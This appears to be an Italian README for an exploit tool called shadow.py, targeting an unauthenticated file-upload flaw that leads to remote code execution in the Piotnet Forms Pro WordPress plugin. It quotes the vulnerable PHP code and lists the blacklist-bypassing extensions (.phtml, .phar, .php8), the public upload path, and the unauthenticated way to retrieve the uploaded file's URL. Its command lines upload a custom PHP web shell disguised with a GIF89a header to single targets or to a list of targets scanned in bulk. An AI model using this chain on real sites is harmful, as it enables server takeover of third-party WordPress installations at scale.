
Piotnet Forms Pro <= 2.1.40 - Caricamento di file arbitrario non autenticato → RCE
La vulnerabilità deriva da una validazione inadeguata del tipo di file nella funzione piotnetforms_ajax_form_builder. Il plugin utilizza una blacklist di estensioni incompleta che blocca solo php, phpt, php5, php7 ed exe, mentre permette alternative pericolose come .phtml o .phar.
Il gestore AJAX è registrato senza alcun requisito di autenticazione:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
La validazione dei file si basa esclusivamente su una blacklist di estensioni incompleta, senza verifica del tipo MIME o dei byte magici:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
La directory di upload contiene solo un index.html vuoto per prevenire il directory listing — nessun .htaccess per bloccare l'esecuzione PHP. I file caricati sono accessibili pubblicamente all'indirizzo:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
L'URL del file può essere recuperato senza autenticazione tramite l'azione AJAX piotnetforms_export_form_submission (anch'essa nopriv), completando la catena completa di RCE senza autenticazione.
Questo è lo stesso bug copia-incolla presente in CVE-2026-4885 — entrambi i plugin condividono codice identico per la gestione vulnerabile degli upload dallo stesso sviluppatore.
Modalità interattiva:
python3 shadow.py
Singolo target:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Scansione di massa:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
Opzioni CLI:
-u, --url - URL del target-f, --file - File dei target (uno per riga)-s, --shell - Shell PHP personalizzata (GIF89a preposto automaticamente)-t, --threads - Thread concorrenti (default: 5)-h, --help - Visualizza aiutopiotnetforms_export_form_submission (senza autenticazione)shell.txt.php .phpt .php5 .php7 .exe
Estensioni di bypass: .phtml .phar .shtml .php8
pip install httpx
Lo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Il test non autorizzato dei sistemi è proibito.